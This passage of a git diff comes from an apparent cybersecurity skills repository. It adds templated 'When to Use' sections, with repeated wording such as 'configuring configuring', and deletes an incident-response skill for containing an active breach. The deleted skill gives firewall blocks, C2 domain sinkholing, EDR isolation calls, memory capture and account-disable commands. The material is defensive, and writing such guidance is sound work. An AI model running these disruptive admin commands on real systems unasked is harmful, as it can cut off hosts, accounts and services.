real-time against granular conditional access policies written in the Cedar policy language, ensuring access is granted per-application only when specific security requirements such as user identity and device security posture are met and maintained. Verified Access integrates with AWS IAM Identity Center, third-party identity providers (Okta, CrowdStrike, JumpCloud, Jamf), and device management solutions. For multi-account deployments, AWS Resource Access Manager (RAM) enables sharing Verified Access groups across organizational units. + +## When to Use + +- When deploying or configuring configuring aws verified access for ztna capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - AWS account with appropriate IAM permissions diff --git a/skills/configuring-certificate-authority-with-openssl/SKILL.md b/skills/configuring-certificate-authority-with-openssl/SKILL.md index e3b85e97..d26195cf 100644 --- a/skills/configuring-certificate-authority-with-openssl/SKILL.md +++ b/skills/configuring-certificate-authority-with-openssl/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 A Certificate Authority (CA) is the trust anchor in a PKI hierarchy, responsible for issuing, signing, and revoking digital certificates. This skill covers building a two-tier CA hierarchy (Root CA + Intermediate CA) using OpenSSL and the Python cryptography library, including CRL distribution, OCSP responder configuration, and certificate policy management. + +## When to Use + +- When deploying or configuring configuring certificate authority with openssl capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Create a Root CA with self-signed certificate diff --git a/skills/configuring-hsm-for-key-storage/SKILL.md b/skills/configuring-hsm-for-key-storage/SKILL.md index 3d0d7131..df28670f 100644 --- a/skills/configuring-hsm-for-key-storage/SKILL.md +++ b/skills/configuring-hsm-for-key-storage/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 Hardware Security Modules (HSMs) are tamper-resistant physical devices that safeguard cryptographic keys and perform cryptographic operations in a hardened environment. Keys stored in an HSM never leave the device boundary, providing the highest level of key protection. This skill covers configuring HSMs using the PKCS#11 standard interface, including key generation, signing, encryption, and key management using both physical HSMs and SoftHSM2 for development. + +## When to Use + +- When deploying or configuring configuring hsm for key storage capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Configure SoftHSM2 as a development PKCS#11 provider diff --git a/skills/configuring-ldap-security-hardening/SKILL.md b/skills/configuring-ldap-security-hardening/SKILL.md index 2ed8f3fe..e8bc0ebf 100644 --- a/skills/configuring-ldap-security-hardening/SKILL.md +++ b/skills/configuring-ldap-security-hardening/SKILL.md @@ -13,6 +13,21 @@ license: Apache-2.0 ## Overview Harden LDAP directory services against common attacks including credential harvesting, LDAP injection, anonymous binding, and channel binding bypass. Covers LDAPS enforcement, channel binding, LDAP signing, access control lists, and monitoring for LDAP-based attacks. + +## When to Use + +- When deploying or configuring configuring ldap security hardening capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement comprehensive configuring ldap security hardening capability - Establish automated discovery and monitoring processes diff --git a/skills/containing-active-security-breach.bak/LICENSE b/skills/containing-active-security-breach.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/containing-active-security-breach.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/containing-active-security-breach.bak/SKILL.md b/skills/containing-active-security-breach.bak/SKILL.md deleted file mode 100644 index 691fbb71..00000000 --- a/skills/containing-active-security-breach.bak/SKILL.md +++ /dev/null @@ -1,186 +0,0 @@ ---- -name: containing-active-security-breach -description: Rapidly contain an active security breach by isolating compromised systems, blocking attacker communications, and preserving evidence while minimizing business disruption. -domain: cybersecurity -subdomain: incident-response -tags: [incident-response, containment, breach-response, network-isolation, dfir] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Containing an Active Security Breach - -## When to Use -- Active unauthorized access detected on network or systems -- IDS/IPS alerts indicate ongoing exploitation or data exfiltration -- SOC analysts confirm a true positive security incident requiring immediate containment -- Lateral movement or privilege escalation observed in real time -- Ransomware encryption activity detected before full deployment - -## Prerequisites -- Incident Response Plan with defined containment procedures -- Network access to firewalls, switches, and endpoint management consoles -- EDR/XDR platform deployed across endpoints (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) -- SIEM access with real-time log correlation (Splunk, Elastic, QRadar) -- Pre-approved authority to isolate systems (documented in IR plan) -- Forensic imaging tools ready for evidence preservation - -## Workflow - -### Step 1: Validate and Classify the Incident -```bash -# Check SIEM for correlated alerts - Splunk example -index=security sourcetype=ids_alerts severity=critical -| stats count by src_ip, dest_ip, signature -| where count > 5 -| sort -count - -# Verify endpoint alerts via CrowdStrike Falcon API -curl -X GET "https://api.crowdstrike.com/detects/queries/detects/v1?filter=status:'new'+max_severity_displayname:'Critical'" \ - -H "Authorization: Bearer $FALCON_TOKEN" -``` - -### Step 2: Identify Scope of Compromise -```bash -# Identify all systems communicating with attacker C2 -# Using Zeek connection logs -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes resp_bytes \ - | awk '$3 == 443 && $5 > 1000000' | sort -t$'\t' -k5 -rn | head -20 - -# Check for lateral movement in Windows Event Logs -wevtutil qe Security /q:"*[System[(EventID=4624)] and EventData[Data[@Name='LogonType']='3']]" /f:text /c:50 - -# Query Active Directory for recent authentication anomalies -Get-WinEvent -FilterHashtable @{LogName='Security';ID=4625} -MaxEvents 100 | - Group-Object -Property {$_.Properties[5].Value} | Sort-Object Count -Descending -``` - -### Step 3: Execute Network Containment -```bash -# Block attacker IP at perimeter firewall (Palo Alto example) -set cli pager off -configure -set rulebase security rules emergency-block from any to any source [attacker_ip] action deny -set rulebase security rules emergency-block from any to any destination [attacker_ip] action deny -commit force - -# Isolate compromised VLAN at switch level (Cisco) -configure terminal -interface vlan 100 - shutdown -end -write memory - -# Block C2 domains at DNS level -# Add to DNS sinkhole or RPZ -echo "attacker-c2-domain.com CNAME ." >> /etc/bind/rpz.local -rndc reload -``` - -### Step 4: Isolate Compromised Endpoints -```bash -# CrowdStrike - Network contain host via API -curl -X POST "https://api.crowdstrike.com/devices/entities/devices-actions/v2?action_name=contain" \ - -H "Authorization: Bearer $FALCON_TOKEN" \ - -H "Content-Type: application/json" \ - -d '{"ids": ["device_id_1", "device_id_2"]}' - -# Microsoft Defender for Endpoint - Isolate machine -curl -X POST "https://api.securitycenter.microsoft.com/api/machines/{machineId}/isolate" \ - -H "Authorization: Bearer $MDE_TOKEN" \ - -H "Content-Type: application/json" \ - -d '{"Comment": "IR-2024-001: Active breach containment", "IsolationType": "Full"}' - -# SentinelOne - Disconnect from network -curl -X POST "https://usea1.sentinelone.net/web/api/v2.1/agents/actions/disconnect" \ - -H "Authorization: ApiToken $S1_TOKEN" \ - -H "Content-Type: application/json" \ - -d '{"filter": {"ids": ["agent_id"]}, "data": {}}' -``` - -### Step 5: Preserve Volatile Evidence Before Full Isolation -```bash -# Capture live memory from compromised Windows host -winpmem_mini_x64.exe memdump_hostname_$(date +%Y%m%d).raw - -# Capture network connections and running processes -netstat -anob > netstat_capture_$(date +%Y%m%d_%H%M).txt -tasklist /V /FO CSV > process_list_$(date +%Y%m%d_%H%M).csv -wmic process list full > process_detail_$(date +%Y%m%d_%H%M).txt - -# Linux volatile evidence collection -dd if=/proc/kcore of=/mnt/forensics/memory_$(hostname)_$(date +%Y%m%d).raw bs=1M -ss -tulnp > /mnt/forensics/network_$(hostname).txt -ps auxwwf > /mnt/forensics/processes_$(hostname).txt -``` - -### Step 6: Disable Compromised Accounts -```bash -# Disable compromised Active Directory accounts -Import-Module ActiveDirectory -Disable-ADAccount -Identity "compromised_user" -Set-ADUser -Identity "compromised_user" -Description "Disabled - IR-2024-001 $(Get-Date)" - -# Revoke all active sessions -Revoke-AzureADUserAllRefreshToken -ObjectId "user_object_id" - -# Reset service account credentials -Set-ADAccountPassword -Identity "svc_compromised" -Reset -NewPassword (ConvertTo-SecureString "TempP@ss$(Get-Random)" -AsPlainText -Force) -``` - -### Step 7: Validate Containment Effectiveness -```bash -# Verify no active C2 communications -tcpdump -i eth0 host attacker_ip -c 100 -w verification_capture.pcap - -# Check for new lateral movement attempts -index=security sourcetype=wineventlog EventCode=4624 LogonType=3 - earliest=-15m -| stats count by src_ip, dest_ip -| where src_ip IN ("compromised_hosts") - -# Validate endpoint isolation status -curl -X GET "https://api.crowdstrike.com/devices/entities/devices/v2?ids=device_id" \ - -H "Authorization: Bearer $FALCON_TOKEN" | jq '.resources[].status' -``` - -## Key Concepts - -| Concept | Description | -|---------|-------------| -| Short-term Containment | Immediate actions to stop active damage (network isolation, account disable) | -| Long-term Containment | Sustainable measures while investigation continues (VLAN segmentation, enhanced monitoring) | -| Evidence Preservation | Capturing volatile data before containment actions destroy forensic artifacts | -| Blast Radius | Total scope of systems, accounts, and data affected by the breach | -| Containment Boundary | Network and logical perimeter established to prevent further spread | -| Kill Chain Disruption | Breaking the attacker's operational chain at the earliest possible stage | -| Business Continuity | Maintaining critical operations while containing the threat | - -## Tools & Systems - -| Tool | Purpose | -|------|---------| -| CrowdStrike Falcon | Endpoint detection, network containment of hosts | -| Microsoft Defender for Endpoint | Endpoint isolation and automated investigation | -| Palo Alto NGFW | Perimeter firewall rules for IP/domain blocking | -| Splunk/Elastic SIEM | Real-time alert correlation and scope analysis | -| Zeek (Bro) | Network traffic analysis for C2 identification | -| Velociraptor | Remote forensic collection and endpoint querying | -| Active Directory | Account management and authentication control | - -## Common Scenarios - -1. **Ransomware Pre-Encryption**: Attacker has deployed ransomware binary but encryption hasn't started. Isolate patient zero, block C2, and prevent lateral deployment. -2. **Active Data Exfiltration**: Data is being exfiltrated to external server. Block egress to C2, capture network evidence, isolate affected systems. -3. **Compromised Domain Controller**: Attacker has DC access. Isolate DC from network, reset KRBTGT twice, rotate all privileged credentials. -4. **Supply Chain Compromise**: Malicious update deployed across environment. Block update server, isolate systems that received the update, assess scope. -5. **Insider Threat - Active Exfil**: Employee actively copying sensitive data. Disable account, block USB access, preserve evidence chain. - -## Output Format -- Containment action log with timestamps (who, what, when) -- Network isolation verification report -- List of compromised/isolated systems with justification -- Evidence preservation checksums and chain of custody records -- Containment effectiveness validation results -- Stakeholder notification with current status and next steps diff --git a/skills/containing-active-security-breach.bak/assets/template.md b/skills/containing-active-security-breach.bak/assets/template.md deleted file mode 100644 index c10382fe..00000000 --- a/skills/containing-active-security-breach.bak/assets/template.md +++ /dev/null @@ -1,130 +0,0 @@ -# Breach Containment Action Report - -## Incident Information -| Field | Value | -|-------|-------| -| Incident ID | IR-YYYY-NNN | -| Date/Time Detected | YYYY-MM-DD HH:MM UTC | -| Containment Started | YYYY-MM-DD HH:MM UTC | -| Containment Completed | YYYY-MM-DD HH:MM UTC | -| Incident Commander | [Name] | -| Severity Level | [Critical/High/Medium/Low] | - -## Incident Summary -[Brief description of the breach - what was detected, initial indicators, how the breach was discovered] - -## Scope of Compromise - -### Affected Systems -| Hostname | IP Address | Role | Compromise Evidence | Containment Action | -|----------|-----------|------|--------------------|--------------------| -| | | | | | - -### Compromised Accounts -| Account Name | Account Type | Last Logon | Containment Action | Status | -|-------------|-------------|------------|-------------------|--------| -| | | | | | - -### Affected Data -| Data Classification | Data Type | Volume | Exfiltration Confirmed | Evidence | -|--------------------|-----------|--------|----------------------|----------| -| | | | | | - -## Attack Timeline -| Time (UTC) | Event | Source | Details | -|-----------|-------|--------|---------| -| | Initial access detected | | | -| | Lateral movement observed | | | -| | Containment initiated | | | -| | Containment verified | | | - -## Containment Actions Taken - -### Network Containment -- [ ] Attacker IPs blocked at perimeter firewall - - IPs blocked: [list] - - Firewall rule name/ID: [reference] -- [ ] C2 domains sinkholed - - Domains: [list] - - Method: [DNS sinkhole/RPZ/hosts file] -- [ ] Compromised network segments isolated - - VLANs/subnets: [list] - - Method: [ACL/VLAN shutdown/firewall rule] - -### Endpoint Containment -- [ ] Compromised hosts network-contained via EDR - - EDR platform: [CrowdStrike/SentinelOne/MDE] - - Hosts isolated: [list] -- [ ] Malicious processes terminated - - Processes: [list with PIDs] -- [ ] Unauthorized software quarantined - - Files: [list with hashes] - -### Identity Containment -- [ ] Compromised user accounts disabled - - Accounts: [list] -- [ ] Active sessions revoked - - Method: [Azure AD/On-prem AD] -- [ ] Service account credentials rotated - - Accounts: [list] -- [ ] MFA tokens reset - - Users: [list] - -### DNS/Web Containment -- [ ] Malicious domains blocked at DNS -- [ ] Web proxy rules updated -- [ ] SSL certificates revoked (if applicable) - -## Evidence Preserved - -### Volatile Evidence (Collected Before Isolation) -| Evidence Type | Host | Collection Time | SHA256 Hash | Collector | -|--------------|------|-----------------|-------------|-----------| -| Memory dump | | | | | -| Network connections | | | | | -| Process list | | | | | -| DNS cache | | | | | - -### Network Evidence -| Capture Type | Source | Time Range | File Size | SHA256 Hash | -|-------------|--------|------------|-----------|-------------| -| PCAP | | | | | -| NetFlow | | | | | - -## Containment Verification - -### Verification Checks -- [ ] No active C2 communications detected post-containment -- [ ] No new lateral movement attempts observed -- [ ] All compromised accounts confirmed disabled -- [ ] Isolated systems confirmed unreachable from network -- [ ] Business-critical services tested and operational -- [ ] Enhanced monitoring deployed on adjacent systems - -### Monitoring Status -| Monitor Type | Scope | Status | Alert Threshold | -|-------------|-------|--------|----------------| -| Network traffic | Compromised segments | Active/Pending | | -| EDR alerts | All endpoints | Active/Pending | | -| Authentication logs | Domain-wide | Active/Pending | | -| Data loss prevention | Sensitive repositories | Active/Pending | | - -## Business Impact Assessment -| Service/System | Impact Level | Workaround Available | Estimated Restore | -|---------------|-------------|---------------------|-------------------| -| | | | | - -## Next Steps -1. [ ] Complete forensic imaging of all compromised systems -2. [ ] Begin eradication phase - remove attacker persistence -3. [ ] Conduct root cause analysis -4. [ ] Prepare for recovery phase -5. [ ] Schedule stakeholder briefing - -## Approvals -| Role | Name | Signature | Date | -|------|------|-----------|------| -| Incident Commander | | | | -| CISO | | | | -| IT Director | | | | -| Legal Counsel | | | | diff --git a/skills/containing-active-security-breach.bak/references/api-reference.md b/skills/containing-active-security-breach.bak/references/api-reference.md deleted file mode 100644 index 3fcb062d..00000000 --- a/skills/containing-active-security-breach.bak/references/api-reference.md +++ /dev/null @@ -1,41 +0,0 @@ -# Active Security Breach Containment — API Reference - -## Libraries - -| Library | Install | Purpose | -|---------|---------|---------| -| requests | `pip install requests` | EDR API calls for host isolation | -| falconpy | `pip install crowdstrike-falconpy` | CrowdStrike Falcon SDK | -| ldap3 | `pip install ldap3` | AD account disable via LDAP | - -## CrowdStrike Falcon Host Isolation - -```python -from falconpy import Hosts -hosts = Hosts(client_id="ID", client_secret="SECRET") -hosts.perform_action(action_name="contain", ids=["device_id"]) -``` - -## Containment Actions - -| Action | Method | Scope | -|--------|--------|-------| -| Host Isolation | EDR API (CrowdStrike, Defender) | Single endpoint | -| Account Disable | `Disable-ADAccount` / LDAP | User identity | -| IP Block | Firewall rule / NGFW API | Network perimeter | -| Session Revoke | `Revoke-AzureADUserAllRefreshToken` | Cloud sessions | -| Token Invalidation | IdP API | OAuth/SAML tokens | - -## NIST IR Phases - -| Phase | Actions | -|-------|---------| -| Containment | Isolate, disable, block | -| Eradication | Remove malware, patch vulnerabilities | -| Recovery | Restore, validate, monitor | - -## External References - -- [CrowdStrike Falcon API](https://falcon.crowdstrike.com/documentation/page/a2a7fc0e/host-and-host-group-management-apis) -- [NIST SP 800-61 Rev 2](https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final) -- [SANS IR Playbook](https://www.sans.org/white-papers/33901/) diff --git a/skills/containing-active-security-breach.bak/references/standards.md b/skills/containing-active-security-breach.bak/references/standards.md deleted file mode 100644 index 24581c24..00000000 --- a/skills/containing-active-security-breach.bak/references/standards.md +++ /dev/null @@ -1,66 +0,0 @@ -# Standards and Framework References - -## NIST SP 800-61 Rev. 3 - Incident Response Recommendations -- **Respond (RS) Function**: Containment falls under RS.MI (Incident Mitigation) - - RS.MI-01: Incidents are contained - - RS.MI-02: Incidents are eradicated -- **Detect (DE) Function**: Scope identification maps to DE.AE (Adverse Event Analysis) - - DE.AE-02: Potentially adverse events are analyzed to better understand associated activities - - DE.AE-03: Information is correlated from multiple sources -- Reference: https://csrc.nist.gov/pubs/sp/800/61/r3/final - -## NIST SP 800-61 Rev. 2 - Computer Security Incident Handling Guide -- **Section 3.3**: Containment, Eradication, and Recovery - - 3.3.1: Choosing a Containment Strategy - - 3.3.2: Evidence Gathering and Handling - - 3.3.3: Identifying the Attacking Hosts -- Containment strategy criteria: potential damage, evidence preservation needs, service availability, time/resources, effectiveness duration, solution scope -- Reference: https://csrc.nist.gov/pubs/sp/800/61/r2/final - -## SANS PICERL Framework -- **Phase 3 - Containment**: The SANS Incident Handler's Handbook defines containment as actions to limit damage from an incident - - Short-term containment: Immediate response to stop the bleeding - - System back-up: Forensic image before remediation - - Long-term containment: Temporary fixes allowing production use -- Reference: https://www.sans.org/white-papers/33901 - -## MITRE ATT&CK Framework - Relevant Techniques to Contain - -### Initial Access (TA0001) -| Technique ID | Name | Containment Action | -|-------------|------|-------------------| -| T1566 | Phishing | Block sender, quarantine messages | -| T1190 | Exploit Public-Facing Application | Patch/WAF rule, isolate service | -| T1133 | External Remote Services | Disable VPN/RDP access | -| T1078 | Valid Accounts | Disable/reset compromised accounts | - -### Lateral Movement (TA0008) -| Technique ID | Name | Containment Action | -|-------------|------|-------------------| -| T1021 | Remote Services | Block SMB/RDP/WinRM between segments | -| T1550 | Use Alternate Authentication Material | Reset tokens, rotate KRBTGT | -| T1570 | Lateral Tool Transfer | Block file sharing protocols | - -### Command and Control (TA0011) -| Technique ID | Name | Containment Action | -|-------------|------|-------------------| -| T1071 | Application Layer Protocol | Block C2 domains/IPs at firewall | -| T1573 | Encrypted Channel | SSL inspection, block non-standard TLS | -| T1572 | Protocol Tunneling | Block DNS tunneling, inspect traffic | - -### Exfiltration (TA0010) -| Technique ID | Name | Containment Action | -|-------------|------|-------------------| -| T1041 | Exfiltration Over C2 Channel | Sinkhole C2 domains | -| T1048 | Exfiltration Over Alternative Protocol | Block DNS/ICMP exfil | -| T1567 | Exfiltration Over Web Service | Block cloud storage uploads | - -## CISA Incident Response Playbooks -- Federal Government Cybersecurity Incident and Vulnerability Response Playbooks -- Containment actions aligned with federal response guidelines -- Reference: https://www.cisa.gov/sites/default/files/publications/Federal_Government_Cybersecurity_Incident_and_Vulnerability_Response_Playbooks_508C.pdf - -## ISO/IEC 27035 - Information Security Incident Management -- Part 2: Guidelines to plan and prepare for incident response -- Containment classified as part of "Response" phase -- Emphasis on proportional response and business impact consideration diff --git a/skills/containing-active-security-breach.bak/references/workflows.md b/skills/containing-active-security-breach.bak/references/workflows.md deleted file mode 100644 index 1f3daf69..00000000 --- a/skills/containing-active-security-breach.bak/references/workflows.md +++ /dev/null @@ -1,107 +0,0 @@ -# Containing an Active Security Breach - Detailed Workflow - -## Pre-Containment Decision Framework - -### Containment Strategy Selection Matrix -| Factor | Low Impact | Medium Impact | High Impact | -|--------|-----------|---------------|-------------| -| Data sensitivity | Monitor and assess | Partial isolation | Full network isolation | -| Active exfiltration | Block egress IPs | Block + isolate segment | Air-gap + full isolation | -| Lateral movement | Enhanced monitoring | Segment isolation | Domain-wide lockdown | -| Business criticality | Targeted containment | Phased containment | Emergency containment with DR | -| Ransomware deployment | Isolate patient zero | Segment + block C2 | Enterprise-wide isolation | - -## Step-by-Step Procedure - -### Phase 1: Incident Validation (0-15 minutes) -1. Receive alert from SIEM/EDR/SOC analyst -2. Verify alert is true positive by correlating multiple data sources -3. Classify incident severity using organization's severity matrix -4. Activate incident response team based on severity level -5. Establish incident communication channel (war room or Slack/Teams channel) -6. Assign Incident Commander and document in ticketing system - -### Phase 2: Scope Assessment (15-45 minutes) -1. Query SIEM for all related alerts in the past 72 hours -2. Identify all compromised hosts using EDR telemetry -3. Map network connections from compromised hosts to identify lateral movement -4. Check authentication logs for compromised account usage across systems -5. Identify affected data repositories and assess data classification -6. Document the attack timeline and current threat actor position -7. Determine the attack vector (how did they get in) - -### Phase 3: Short-Term Containment (30-60 minutes) -1. **Network Level**: - - Block attacker external IPs at perimeter firewall - - Sinkhole C2 domains at DNS level - - Apply ACLs to isolate compromised network segments - - Enable enhanced packet capture on affected segments - -2. **Endpoint Level**: - - Network-contain compromised hosts via EDR - - Disable compromised user accounts in Active Directory - - Revoke OAuth tokens and API keys - - Kill malicious processes identified by EDR - -3. **Identity Level**: - - Force password reset on compromised accounts - - Disable MFA bypass methods used by attacker - - Revoke VPN certificates for compromised users - - Block compromised service account authentication - -### Phase 4: Evidence Preservation (During Containment) -1. Capture live memory from key compromised systems before full isolation -2. Export relevant SIEM logs to secure evidence storage -3. Take forensic disk images of critical compromised systems -4. Preserve network capture data (PCAP) from affected segments -5. Screenshot active sessions and running process trees -6. Hash all evidence files and create chain of custody documentation - -### Phase 5: Long-Term Containment (1-24 hours) -1. Implement network microsegmentation around affected areas -2. Deploy additional monitoring sensors in compromised zones -3. Set up honeypots to detect continued attacker activity -4. Apply temporary firewall rules with logging for affected segments -5. Enable enhanced audit logging on systems adjacent to compromise -6. Implement file integrity monitoring on critical systems -7. Set up network traffic baseline comparison - -### Phase 6: Containment Verification (Ongoing) -1. Monitor for new alerts from previously compromised systems -2. Verify no new C2 communications from any internal host -3. Check for new account creation or privilege escalation attempts -4. Validate that isolated systems cannot reach external networks -5. Test that critical business services remain functional -6. Brief stakeholders on containment status and next steps - -## Escalation Criteria -- Containment fails (attacker regains access): Escalate to CISO, consider external IR firm -- Business-critical systems affected: Engage business continuity team -- Data exfiltration confirmed: Engage legal and compliance teams -- Nation-state indicators: Engage FBI/CISA -- Ransomware spreading despite containment: Consider full network shutdown - -## Communication Templates - -### Internal Escalation (Initial) -``` -SUBJECT: [SEVERITY-CRITICAL] Active Security Breach - Containment in Progress -INCIDENT ID: IR-YYYY-NNN -TIME DETECTED: YYYY-MM-DD HH:MM UTC -CURRENT STATUS: Containment in progress -AFFECTED SYSTEMS: [count] hosts, [count] accounts -INCIDENT COMMANDER: [Name] -NEXT UPDATE: [time] -``` - -### Status Update (During Containment) -``` -SUBJECT: [UPDATE] IR-YYYY-NNN - Containment Status -CONTAINMENT STATUS: [Partial/Complete/Pending] -SYSTEMS ISOLATED: [count] -ACCOUNTS DISABLED: [count] -C2 COMMUNICATIONS: [Blocked/Active/Unknown] -BUSINESS IMPACT: [Description] -NEXT STEPS: [Actions] -NEXT UPDATE: [time] -``` diff --git a/skills/containing-active-security-breach.bak/scripts/agent.py b/skills/containing-active-security-breach.bak/scripts/agent.py deleted file mode 100644 index c35865ac..00000000 --- a/skills/containing-active-security-breach.bak/scripts/agent.py +++ /dev/null @@ -1,119 